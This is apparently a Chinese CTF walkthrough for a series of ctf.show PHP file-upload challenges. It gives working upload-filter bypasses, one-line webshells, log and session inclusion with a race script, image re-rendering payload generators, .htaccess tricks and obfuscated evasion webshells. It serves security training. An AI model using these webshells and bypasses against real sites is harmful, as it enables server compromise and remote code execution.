绕过前端验证
方法1:直接关闭浏览器的js
方法2:上传.png(没错,只能是png,gif和jpg都不行)文件然后bp抓包后修改后缀,内容为一句话
直接访问upload/1.php然后 post传1=system(‘tac …/f*’); flag在当前文件所在位置的上一层。
上传 1.php然后抓包修改content-type为 image/png或者上传.png文件后修改后缀为.php
直接访问upload/1.php然后 post传1=system(‘tac …/f*’); flag在当前文件所在位置的上一层。
本题考察利用上传user.ini进行文件上传绕过。对于user.ini直接献上官方文档。
自 PHP 5.3.0 起,PHP 支持基于每个目录的 INI 文件配置。此类文件 仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。
也就是说如果你目录下有user.ini会先去识别里面的配置。当然文档也说了,并不是所有的配置都可以识别。只有 PHP_INI_PERDIR 和 PHP_INI_USER 模式可以。
然后查阅中文文档和英文文档发现了有些差异
发现英文文档多了一个php_in_perdir,经过尝试发现确实可以(测试了下auto_append_file),所以大家还是以英文文档为准
具体的配置可以看该链接
也就是里面除了PHP_INI_SYSTEM模式的配置以外都可以在.user.ini中进行重写。
那么我们就去找我们需要用到配置
发现auto_append_file和auto_prepend_file
一个相当于在每个php文件尾加上 include(“xxxx”),一个相当于文件头加上 include(“xxx”)
其中xxx就是 auto_append_file的值。
另外还发现了这么一条
如果题目在php.ini中设置了 open_basedir,那么我们就可以上传.user.ini进行修改open_basedir的值,当然条件比较苛刻。大家有兴趣可以研究研究。
现在回到这个题。为了利用auto_append_file,我们首先上传一个带木马的图片,接着上传.user.ini内容为 auto_append_file=“xxx” xxx为我们上传的文件名。
这样就在每个php文件上包含了我们的木马文件。
木马上传成功
但是这种方式其实是有个前提的,因为.user.ini只对他同一目录下的文件起作用,也就是说,只有他同目录下有php文件才可以。
对于这个题,因为他upload目录下有个index.php所以这种方式是可以成功的。
上传正常的图片马失败,经过测试发现是过滤的
尝试使用短标签绕过
对于php的标签其他写法,我们这里多说几种
1、
echo '123';?>
前提是开启配置参数short_open_tags=on
2、
=(表达式)?> 等价于 echo (表达式)?>
不需要开启参数设置
3、
<% echo '123';%>
前提是开启配置参数asp_tags=on,经过测试发现7.0及以上修改完之后也不能使用,而是报500错误,但是7.0以下版本在修改完配置后就可以使用了。
4、
<script language=”php”>echo '123'; </script>
不需要修改参数开关,但是只能在7.0以下可用。
对于该题,我们可用使用=(表达式)?>
进行绕过,图片内容 =eval($_POST[1]);?>
剩下的步骤同153
在前面的基础上过滤了 []
那我们直接用{}来代替
图片马内容=eval($_POST{1});?>
过滤了{}和分号,那就直接输出flag算了,不搞一句话了。摊牌了,反正知道flag位置
图片马内容
=`tac ../f*`?>
或者
=system('tac ../f*')?>
过滤了括号,那就用反引号就可以啦
=`tac ../f*`?>
过滤了括号反引号还有一些关键字
利用日志包含绕过,图片内容=include"/var/lo"."g/nginx/access.lo"."g"?>
因为log被过滤了。所以用拼接绕过
上传完.user.ini和图片后
访问网站然后修改ua头信息
接着访问/upload即可拿到flag
session文件包含
具体原理可用参考链接
首先正常上传.user.ini,内容如下
import requests
import threading
session=requests.session()
sess='yu22x'
url1="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/"
url2="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/upload"
data1={
'PHP_SESSION_UPLOAD_PROGRESS':''
}
file={
'file':'yu22x'
}
cookies={
'PHPSESSID': sess
}
def write():
while True:
r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
while True:
r = session.get(url2)
if 'flag' in r.text:
print(r.text)
threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()
参考链接
png图片二次渲染绕过
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'2.png'); //要修改的图片的路径
/* 木马内容
$_GET[0]($_POST[1]);?>
*/
?>
运行脚本覆盖掉原来图片的内容,我们上传新生成的图片,接着点查看图片,
输入我们要用的函数和参数
最后ctrl+s下载后文本查看即可
jpg图片二次渲染绕过
$miniPayload = "";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php ' );
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
用法 php exp.php a.png
查看源代码发现只能上传zip
那我们直接上传一句话就可以了
注意修改Content-Type为application/x-zip-compressed
然后直接文件包含就可以了
开局一个提示
说明和apache有关,一开始以为是apache解析漏洞,然后上传a.php.xxx也没有被解析成php。
那应该是要利用.htaccess进行绕过了
首先上传.htaccess
方式1
AddType application/x-httpd-php .png //将.png后缀的文件解析 成php
方式2
SetHandler application/x-httpd-php
PS
如果flag不是php文件,那么还可以像.user.ini一样在当前目录加载一个文件
php_value auto_append_file 'flag'
免杀
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
利用日志包含
首先访问http://eca7d522-9553-40af-86c6-4db848abe077.chall.ctf.show/
修改UA头为一句话
接着上传.user.ini
然后上传b.php
内容无所谓
最后蚁剑连接 b.php就可以了